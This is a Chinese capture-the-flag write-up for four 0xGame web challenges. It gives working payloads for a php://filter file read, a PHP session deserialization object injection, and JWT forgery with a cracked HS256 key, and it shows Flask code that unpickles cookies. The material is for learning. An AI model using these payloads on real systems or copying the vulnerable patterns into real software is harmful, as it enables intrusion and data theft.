0%

0xGame Week4

0xGame 第四周-Web

WriteUp by Casio

1. switch

vim源码泄露,之前遇到过一次了,访问/.index.php.swp果然拿到了源码备份。

没有装Linux环境使用vim,用Git Bash操作$ vim -r index.php.swp

(后来返工做第三周的题时已经把WSL2装了。。(逃ε=ε=ε=┏(゜ロ゜;)┛

获取:image-20201023191943056

测试payload

1
2
3
4
POST id=1
//return 0xGame Good!
POST id=2Casio&file=filter
//return hacker

switch的弱相等绕过与“==”差不多,用一个2开头的字符串进入case 2,测试成功。

由过滤规则可猜想使用php://filter伪协议来执行读取,尝试大小写绕过:

(这里我还不是完全理解透彻了这个方法

1
2
POST id=2Casio&file=php://Filter/read=convert.Base64-encode/resource=flag.php
//return PD9waHANCiRmbGFnPScweEdhbWV7UzBtZV9wSHBfdFIxY0tzX3VfRzN0XzF0fSc7

base64解码即得:

==>>0xGame{S0me_pHp_tR1cKs_u_G3t_1t}

2. broken_motto

提供了网址,附件zip文件下载得一系列php源码,是该网址的php代码了。

阅读源码,Google注释提示的漏洞ini_set('session.serialize_handler','php_serialize');

了解到其名为:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class info{
public $admin;
public $username;
public $motto;

public function __construct()
{
$this->admin = 0;
$this->motto = $_SESSION['motto'];
$this->username = $_SESSION['username'];
}

public function __destruct()
{
echo 'your motto:'.$this->motto;
if($this->admin===1){
show_source('flag.php');
}
}
}

我们只需要改变admin的值为整数1,即可获取flagmotto应该不重要。

尝试如下payload

1
2
username=|O:4:"info":3:{s:5:"admin";i:1;s:"8":"username";s:1:"1";s:"5":"motto";s:1:"2";}
&password=0xGame&motto=Casio //任意填?

思路来源image-20201023214421764

这里存疑,我找到的例子是序列化前后引擎不一致,

例子中存数据使用php_serialize读取时选择的是php

而本题中未见php引擎,不过我仍然尝试了利用|分割符试探一下

结果一次就梭出来了😓:image-20201023213828867

读不到motto的原因应该是没设置$_['username'],见profile.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once 'class.php';
//ini_set('session.serialize_handler','php_serialize');

session_save_path('session');
session_start();

if(isset($_SESSION['username'])){
$info = new info();
}else{
die('出错啦!读取不到你的格言QWQ');
}

因为利用了Session 反序列化漏洞,在payload已经实例化了info类使得admin===1,所以这里不需要利用username来创建新类。。。直接die掉

==>>0xGame{session_un5eria1ize}

3. JWT

尝试注入不行,俺不是admin;搜索题目JWT获悉JSON Web Token伪造Cookie可越俎代庖

原:

1
JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJwYXNzd2QiOiJhZG1pbiIsInVpZCI6ImIxZTlhODgwLTc5YWMtNDgxMS04ZTFiLTg5ZDFkNmQwMWRkYiIsInJvbGUiOiJndWVzdCJ9.GUXW4p5W2e1gjWPL2ZBkJl45b8Z-DMD3vKnI1LQijwQ

c-jwt-cracker跑了几分钟爆出密钥:njupt

JWT辅助网站

PAYLOAD里有一项"role": "guest"十分可疑,依题改成admin

image-20201028204508031

用生成的JWT替换原来的,再次访问:

image-20201028204909578

==>>0xGame{JWT_is_th3_f14g}

:这道题虽然思路很明确,但是过程中碰了很多壁,到现在还没有解决。。。

  1. 没装Linux前用的另一个Windows可用工具jwt_tool,可是我根据提示操作装包的时候总是出问题,没法爆密钥(没有截取错误图片和错误内容)
  2. 由此,尝试过将头部算法"alg":"HS256"改为"alg":"none"的伪造办法,可惜总是返回500错误
  3. 最开始用Burp抓的包查看请求,后面就直接用的Firefox的开发者工具网络一栏,神奇的是:之前会出现Cookie数据和Session数据。在我清理过几次后,换到存储一栏查看数据时,又只剩下了JWT一项,之前一直报500的时候很迷惑,一度以为还要改CookieSession

4. easyPython

从网站的Tips可进入bak空白页,故使用F12找到放在注释里的源码(片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!--

from flask import Flask, render_template, request, redirect, url_for, flash, make_response
from flask_bootstrap import Bootstrap
from flask_login import LoginManager, login_user, logout_user, current_user, login_required
import configs
import pickle
import base64
from models import query_user, User

app = Flask(__name__)
app.config.from_object(configs)
Bootstrap(app)

# login management
login_manager = LoginManager()
login_manager.login_view = 'login'
login_manager.login_message_category = 'info'
login_manager.login_message = 'Please login'
login_manager.init_app(app)

# user loader
@login_manager.user_loader
def load_user(user_id):
if query_user(user_id) is not None:
curr_user = User()
curr_user.id = user_id

return curr_user

# home page
@app.route('/')
# @login_required
def index():
usercookies = request.cookies.get('Cookies')
if not usercookies:
usercookies = "{'username':'guest'}"
else:
usercookies = pickle.loads(base64.b64decode(usercookies))

resp = make_response(render_template('index.html'))
resp.set_cookie('Cookies', base64.b64encode(pickle.dumps(usercookies)))
return resp

@app.route('/app.py.bak')
def bak():
return render_template('app.py.html')

...

-->

大概。。。是要伪造cookies???


2020.11.1更新

Python的反序列化漏洞